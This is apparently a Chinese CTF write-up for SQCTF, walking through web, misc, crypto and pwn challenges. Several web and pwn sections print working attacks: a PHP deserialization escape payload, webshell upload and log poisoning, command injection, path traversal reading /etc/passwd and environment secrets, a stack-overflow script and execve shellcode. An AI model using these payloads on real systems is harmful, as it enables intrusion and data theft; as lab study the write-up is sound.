WEB

eeaassyy

考的是查看源码的手段,f12和右键和ctrl+u用不了,可以直接把js禁用了或者在设置里点开发者工具

image-20250407105457281

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include ("flag.php");
function filter($payload){
$black_list=array("flag","php");
return str_replace($black_list,"stop",$payload);
}
class test{
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user){
$this->user=$user;
}
}

$payload=$_GET['payload'];
$profile=unserialize(filter($payload));
if ($profile->pswd=='escaping'){
echo "逃出来了, 恭喜恭喜<br>";
echo $flag;
}
?>

有替换函数,直接锁定是字符串逃逸,况且这里还不需要写pop链,只需要逃逸字符串就行,直接给exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{
var $user = 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}';
var $pswd = 'sunshine';
}

//O:4:"test":2:{s:4:"user";s:4:"test";s:4:"pswd";s:8:"escaping";};s:4:"pswd";s:8:"sunshine";}
//O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}
//O:4:"test":2:{s:4:"user";s:116:"stopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstopstop";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}
$a = new test();
//echo serialize($a);
$b = 'O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}';
echo urlencode($b);
$b =str_replace("php","stop",$b);

把$b的内容传参就行

1
?payload=O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pswd";s:8:"escaping";}";s:4:"pswd";s:8:"sunshine";}

image-20250407105706323

Upload_Level1

image-20250407105813091

文件上传,一个简单的前端后缀名过滤,传jpg文件抓包改后缀就行,用蚁剑连接

My Blog

有一个login.php,访问是一个登录界面,登录密码在/file.pdf中

image-20250407105950903

baby include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['look'])){
// Great, it's the file inclusion master, we have a save !!!
$look = $_GET['look'];
$look = str_replace("php", "!!!", $look);
$look = str_replace("data", "!!!", $look);
$look = str_replace("filter", "!!!", $look);
$look = str_replace("input", "!!!", $look);
include($look);
}else{
highlight_file(__FILE__);
}

?>

就禁用了伪协议,用日志包含就行

image-20250407110426864

是nginx的,日志文件路径默认是/var/log/nginx/access.log,访问然后传ua头写一句话木马就行

ezGame

有一个flag.php文件,访问出来要求分数达到2048

image-20250407110940614

根据之前页面的score,试着传参看看能不能改分数,也是让我给蒙到了

image-20250407111023918

这道题也可以在控制台传入js代码

1
2
obj.score = 2048; 
obj.getFlag();

image-20250407111119809

商师一日游

首页提示/atc1acrd.html,访问一下,在源码发现了东西

image-20250407111715895

继续访问/atc2cnzd.php,有一段提示,伪造cookie

1
打开你的终端,构造一块fish牌的曲奇饼,上面刻下strong字样,便可获得强筋壮骨

image-20250407111821455

继续/atc3oklm.php,提示在devtool开发者工具中找,找了半天发现在响应头中

image-20250407112457823

继续访问/atc4zztg.php,访问robots.txt

image-20250407112622535

继续跟着走吧

1
2
3
4
5
6
7
8
9
10
11
12
$a=$_GET['hhh'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo xxxxxxxxxxx;
}
}
else{
echo 'nonononono';
}

需要进入第一个if但是不能进入第二个if,第一个if是多行匹配,第二个if是单行匹配,那就用%0a去换行就行

1
?hhh=%0aphp

image-20250407113202593

继续

image-20250407113242546

在按钮对应的源码中的把disable删掉,恢复按钮功能

image-20250407113506989

继续/atc7wedf.php

一句话木马,在源码中看到通过pre标签将一句话木马解析执行了,所以可以直接连蚁剑找最后一个碎片,然后拼接所有的碎片就是flag

1
sqctf{e06e21306ab5463f894e4118c33fb3ab}

唯一

啥都没有

image-20250407115701668

有点想ssti’的渲染,在网络中看到是python的

image-20250407115734964

估计是jinja2,传个note参数就出来了

image-20250407115811617

然后fenjing一把梭

image-20250407121351416

嘿嘿嘿

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class hhh {
public $file;
public $content;

public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}

public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
if (file_exists($this->file)) {
die("File already exists!");
}
file_put_contents($this->file, $this->content);
}
}
}

class xxx {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __toString() {
return $this->data;
}
}

class yyy {
public $path;
public $allowed;

public function __construct($path, $allowed) {
$this->path = $path;
$this->allowed = $allowed;
}

public function __toString() {
if ($this->allowed) {
return file_get_contents($this->path);
} else {
return "Access Denied!";
}
}
}

if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);

if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}

if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}

if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
}
?>

重点关注到下面的这段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (isset($_POST['data'])) {
$data = unserialize($_POST['data']);

if (is_array($data->file) || md5($data->file) === md5("flag.php")) {
die("No cheating!");
}

if (strpos($data->file, 'php://') !== false) {
die("No php protocol!");
}

if ($data->content === "GET_FLAG") {
echo "Flag: " . file_get_contents("flag.php");
}
}

有file和content内容,在hhh,然后我们看hhh类中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class hhh {
public $file;
public $content;

public function __construct($file, $content) {
$this->file = $file;
$this->content = $content;
}

public function __destruct() {
if ($this->file && $this->content) {
if (strpos($this->file, 'flag') !== false) {
die("No flag file!");
}
if (file_exists($this->file)) {
die("File already exists!");
}
file_put_contents($this->file, $this->content);
}
}
}

__destruct中有两个if语句,要求file中需要有flag,这个file文件也不能存在,不存在的话则会写入文件

File_download

image-20250407141210648

看看help

image-20250407141458813

在这个路径下传文件名可以得到文件内容,但是目前没啥文件名是已知的,回到登录页面随便传1/1然后rul中出现/index.jsp,看看能不能获取到这个文件内容

1
/DownloadServlet?filename=index.jsp
1
2
3
<%-- Created by IntelliJ IDEA. User: yuzhenzhao Date: 2025/2/19 Time: 11:50 To change this template use File | Settings | File Templates. --%> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% // 获取请求参数 String username = request.getParameter("username"); String password = request.getParameter("password"); // 检查是否提交了表单 if ("POST".equalsIgnoreCase(request.getMethod()) && username != null && password != null) { // 不论输入什么用户名和密码,都返回登录失败的提示 out.println("
登录失败,请检查用户名和密码。
"); } %>

看着没啥用,然后就没啥思路了,看看能不能找到版本漏洞

随便传个路径得到报错信息出现版本

image-20250407150020952

下载源码下来分析一下

漏洞复现放在另一篇文章专门讲了

1
DownloadServlet?filename=WEB-INF/web.xml

image-20250407160456878

还有一个FlagManager的类,看看能不能访问到这个类

根据 Java 的包和类的组织规则,该类的完整路径应该是:

1
/src/com/ctf/flag/FlagManager.java
  • 在构建后,这个类会被编译,并在 WEB-INF/classes 目录下生成相应的 .class 文件。其路径为:
1
/WEB-INF/classes/com/ctf/flag/FlagManager.class

但是访问出来说需要下载后查看,一开始get访问下载不下来,post访问才能下载

因为是class文件,需要反编译成java文件,用JD-GUI去进行反编译

image-20250407162912957

其中有一个加密,写个解密的脚本然后换成字符

1
2
3
4
5
6
7
8
s = [110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 106, 188, 109, 186, 111, 188]

f = ''
for i in s:
x = (i ^ 0x30) - 38
f += chr(x)

print(f)

image-20250407164203318

用SQCTF{}包裹一下就是flag了

Through

image-20250408001832401

存在任意文件读取,但是一开始做目录穿越读不出来,看看是不是过滤了../穿越符号

1
?file=..././..././..././etc/passwd

然后尝试读取flag,猜了一下txt和php后缀,最后发现是无后缀的

image-20250408002129645

Input a number

简单的intval函数绕过

1
?sqctf=114514.12

Ping

分号过滤了,用管道符就行

1
127.0.0.1|cat /f*

RceMe

1
2
3
4
5
6
7
<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) {
system($command);
} else {
print("你小子干什么呢?");
}

限制了长度,我记得p牛师傅之前有写过文章

1
2
?com=ls /
//bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

可以看到有flag

在 Shell 中,* 匹配当前路径的非隐藏文件和目录/* → 匹配根目录下所有文件和一级子目录,并且nl只处理可读文本文件,会跳过目录和二进制文件

image-20250409142628774

所以直接用命令

1
nl /*

就行

小小查询系统

sql注入,传入id=1返回查询结果,加上单引号就报错,sqlmap一把梭就行

image-20250409143108132image-20250409143235141

baby rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
highlight_file(__FILE__);
extract($_GET);

$token = false;
if(isset($param1) && isset($param2)){
if(sha1($param1) == sha1($param2)){
$token = true;
echo "Level 1 pass\n";
}
}

class TYctf{
public $person = 20;
public $computer_number = 30;

function getNumber(){
if(isset($this->person)) {
echo $this->person;
}
}
function isFullUse(){
if($this->person != $this->computer_number){
echo "computer is lacking !!!\n";
}
else{
echo "computer is enough !!!\n";
}
}
static function getKey(){
include ("flag.php");
echo "Level 2 pass\n";
echo "You are winner, this is your reward: \n";
echo $flag;
}
}

if($token){
call_user_func($_POST['payload']);
}

?>

Level1很好过,用数组绕过sha1弱比较就行

1
?param1[]=1&param2[]=2

然后在Level2中可以看到有flag,call_user_func是可以调用类中的方法的,所以直接调用就行

image-20250409143911908

1
payload=TYctf::getKey

Ez_calculate

image-20250409144032384

计算表达式的,写个脚本就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
from bs4 import BeautifulSoup
import re

url = "http://challenge.qsnctf.com:30979/"


def solve_math_challenge():
with requests.Session() as s:
# 获取页面并提取表达式
get_resp = s.get(url)
if get_resp.status_code != 200:
print("Failed to fetch page")
return

soup = BeautifulSoup(get_resp.text, "html.parser")
challenge_div = soup.find("div", class_="challenge")
if not challenge_div:
print("No challenge found")
return

expression = challenge_div.text.strip()
if not re.match(r"^[\d\+\-\*\/\(\) ]+$", expression):
print("Invalid expression format")
return

# 计算表达式
try:
result = eval(expression)
except:
print("Calculation error")
return

# 提交答案
post_data = {"value": result}
post_resp = s.post(url, data=post_data)

# 输出响应(含flag)
print("Response:\n", post_resp.text)


if __name__ == "__main__":
solve_math_challenge()

白月光

看版本是python3.8的,然后输入1会回显,直接fenjing一把梭

image-20250409145207857

image-20250409145227502

参数是name

1
python -m fenjing crack --url http://challenge.qsnctf.com:31419/ --inputs name --method POST

image-20250409145929052

无参之舞

正常是打不开的,得抓包

image-20250409150232858

看到需要post传参的参数名

1
username=sqctf&password=123456//用户名或密码错误

爆一下弱口令

image-20250409153838359

有一个302跳转,抓包传参再放包就行

image-20250409154046651

如果传入单个字母和数字,就会报错,根据提示猜测是无参数rce,传入phpinfo没回显但是没报错,估计是禁用了

image-20250409154704884

传入highlight_file()就会返回还差一点,用print_r可以

1
?exp=print_r(scandir('./'));

image-20250409162218208

看到好多flag文件

试着传入system但是发现被过滤了,转码绕过

1
2
3
exp="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
等价于
exp=system("cat /etc/passwd");

image-20250409162331740

这里的话必须给绝对路径的目录,不然是读不出来的

1
?exp="\x73\x79\x73\x74\x65\x6d"("tac /var/www/html/f*");

我也不知道为什么,测出来是这样的,后面看看源码吧

哎呀大大大黑塔

说实话这道题真的想喷,感觉啥都没考,还得硬看pv看好几遍

image-20250409165138244

千查万别

image-20250411233503950

可以传入文档id然后查文件,传入1显示文件不存在

但是测试了一下发现存在任意文件读取

1
/view?doc=../../../../../etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

然后一直没头绪,看到版本是Werkzeug/3.0.6 Python/3.8.20,就去把源码拉下来看了一下,以为是版本漏洞但是也不是

后来通过目录穿越读到源码

1
../../app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import Flask, request, render_template_string, session
import os

app = Flask(__name__)
app.secret_key = os.environ.get('SECRET_KEY', os.urandom(16))

@app.route('/')
def index():
username = session.get('username', 'guest')
template = f'''

欢迎,{username}



输入文档ID:




'''
return render_template_string(template)

@app.route('/view')
def view_doc():
doc = request.args.get('doc', 'test.txt')
base_dir = '/app/static/docs'
filepath = os.path.realpath(os.path.join(base_dir, doc))

if filepath == '/flag':
return "非法路径!"

try:
with open(filepath, 'r') as f:
content = f.read()
return f"
{content}
"
except:
return "文档不存在!"

if __name__ == '__main__':
app.run(host='0.0.0.0')

session下的ssti,但是需要密钥加密

1
app.secret_key = os.environ.get('SECRET_KEY', os.urandom(16))

这里提示密钥在环境变量中,SECRET_KEY=Dark_Flame

1
/proc/self/environ

image-20250412012510828

用flask-unsign去伪造就行

2e7d3a690e45f0bf4b282ef6fe5e7f5f

MISC

ez_music1

音频隐写,用audacity去看多视图里面就能看到了

image-20250407111333754

love.host

随波逐流foremost提取,获得ZIP中flag,最后将前缀改为SQCTF

image-20250407232621973

王者荣耀真是太好玩了

image-20250407232748844

搜索该用户,头像有线索

9bc916c59ecb212c59bb82a948466cf

百度地图搜索这个位置,看到评论,url解码获得flag

Welcome_Sign_in

关注公众号然后发信息拿flag就行

密码

春风得意马蹄疾

核心价值观编码:https://ctf.bugku.com/tool/cvecode

多解码几次就出来了

image-20250407121609580

小白兔白又白

image-20250407144205422

base家族多重编码

Base91 -> Base64 -> Base62 -> Base16

1
U2FsdGVkX1+cEAtCb8l5oIiX+J9CwG3SpvdB38nPFkjnJ1HmRvbYQubVZDL3

然后根据提示找到有Rabbit加密/解密,密钥为91+64+62+16=233

image-20250407145106780

ezCRT

ai一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import math
from gmpy2 import iroot

n1 = 64461804435635694137780580883118542458520881333933248063286193178334411181758377012632600557019239684067421606269023383862049857550780830156513420820443580638506617741673175086647389161551833417527588094693084581758440289107240400738205844622196685129086909714662542181360063597475940496590936680150076590681
n2 = 82768789263909988537493084725526319850211158112420157512492827240222158241002610490646583583091495111448413291338835784006756008201212610248425150436824240621547620572212344588627328430747049461146136035734611452915034170904765831638240799554640849909134152967494793539689224548564534973311777387005920878063
n3 = 62107516550209183407698382807475681623862830395922060833332922340752315402552281961072427749999457737344017533524380473311833617485959469046445929625955655230750858204360677947120339189429659414555499604814322940573452873813507553588603977672509236539848025701635308206374413195614345288662257135378383463093

c1 = 36267594227441244281312954686325715871875404435399039074741857061024358177876627893305437762333495044347666207430322392503053852558456027453124214782206724238951893678824112331246153437506819845173663625582632466682383580089960799423682343826068770924526488621412822617259665379521455218674231901913722061165
c2 = 58105410211168858609707092876511568173640581816063761351545759586783802705542032125833354590550711377984529089994947048147499585647292048511175211483648376727998630887222885452118374649632155848228993361372903492029928954631998537219237912475667973649377775950834299314740179575844464625807524391212456813023
c3 = 23948847023225161143620077929515892579240630411168735502944208192562325057681298085309091829312434095887230099608144726600918783450914411367305316475869605715020490101138282409809732960150785462082666279677485259918003470544763830384394786746843510460147027017747048708688901880287245378978587825576371865614

# 验证模数是否互质
assert all(math.gcd(n1, ni) == 1 for ni in [n2, n3]), "模数不互质"

# 解决前两个同余方程
difference = (c2 - c1) % n2
inverse_n1 = pow(n1, -1, n2)
k_value = (difference * inverse_n1) % n2
combined_x = c1 + k_value * n1

# 解决第三个同余方程
combined_n = n1 * n2
difference2 = (c3 - combined_x) % n3
inverse_combined_n = pow(combined_n, -1, n3)
k_value2 = (difference2 * inverse_combined_n) % n3
final_x = combined_x + k_value2 * combined_n

# 计算立方根
m_root = iroot(final_x, 3)
if m_root[1]:
# 将结果转换为字节
hex_representation = hex(m_root[0])[2:] # 直接获取十六进制表示
if len(hex_representation) % 2 != 0:
hex_representation = '0' + hex_representation # 确保偶数长度
flag_bytes = bytes.fromhex(hex_representation)

# 打印结果
print("原始字节:", flag_bytes)


image-20250407194435169

别阴阳我了行吗?

阴阳怪气解密

image-20250407233717630

失落矿洞中的密码

得使用sagemath,一个开源的数学软件系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 定义素数p和椭圆曲线的系数a和b
p = 7654319
a = 1234577
b = 3213242

# 创建椭圆曲线E
E = EllipticCurve(GF(p), [a, b])

# 定义基点G和公钥
G = E(5234568, 2287747)
public_key = E(2366653, 1424308)

# 计算私钥d(离散对数)
# 注意:此步骤可能需要一些时间,具体取决于曲线阶的分解
d = G.discrete_log(public_key)

# 解密数据
c1 = E(5081741, 6744615) # 加密的第一个点
c2 = E(610619, 6218) # 加密的第二个点

# 计算原始消息m
m = c2 - d * c1

# 计算原始消息的x和y坐标之和
flag = m[0] + m[1]

# 输出解密结果
print("x + y =", flag)

简单RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from sympy import factorint
from Crypto.Util.number import inverse
# 给定参数
e = 65537
n =
7349515423675898192891607474991784569723846586810596813062667159281369435049
4972480162884797189264829871765353580130001039648730163874337321112291861130
3085395918276581448802374282340959466855267082463537645783012114467990260586
3066189568406517231831010468189513762519884223049871926129263923438273811831
8623856519706511141861553555412798834652782180247895390731800810394292844990
3937822628435671658318572798451731617256525013382935831222144050803114002851
5954553016396884149904097959425582366305748700291610280675014390376786701270
1071364926455936627634440321745432050083267063719548304197755154598782271489
97362533
c =
3514741378432598036735573845050830323348005144476193092687936757918568216312
3216249780869990792876194640388176654677488601462193424136303648562745511753
6702650411095640751122465909548117858958742402468225607659858255892637235431
6897644421756280217349588811321954271963531507455604340199167652015645135632
1774291442417321322757921567724015113264300697569482984035198426799233689909
5255526403416497597594574701630494817932538123846517172342704314047356503882
7474908821764094888942553863124323750256556241722284055414264534546088842593
3494013801421649271889435196981413155543470202398560478422588408268310778356
04327616
# 分解模数n为p和q
factors = factorint(n)
p, q = factors.keys()
# 计算φ(n)
phi_n = (p - 1) * (q - 1)
# 计算私钥d
d = inverse(e, phi_n)
# 解密密文
m = pow(c, d, n)
# 将结果转换为十六进制字符串
hex_m = hex(m)[2:]
# 将十六进制字符串转换为ASCII字符串
flag = bytes.fromhex(hex_m).decode('utf-8')

print(flag)

pwn

浅红欺醉粉,肯信有江梅

直接nc就行

image-20250407191130436

领取你的小猫娘

一个很简单的栈溢出,也是学了好一会才会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context(arch='amd64',os='linux',log_level='debug')

io=process('./pwn')

io=remote('challenge.qsnctf.com',30010)

elf=ELF('./pwn')

system=0x40121B
payload=b'a'*(0x50+8)+p64(system)
io.sendline(payload)
io.interactive()

我觉君非池中物,咫尺蛟龙云雨

用 mprotect函数使得bss段可读写执行故直接写shellcode即可

注意这里需要小于0x30个字节,我们用的是24字节的,直接上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(arch='amd64',os='linux',log_level='debug')

io=remote('challenge.qsnctf.com',32618)

elf=ELF('./pwn')

payload =
b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x
57\x54\x5e\x0f\x05"

print(payload)
io.recvuntil('window.')
io.sendline(payload)
io.interactive()

当时只道是寻常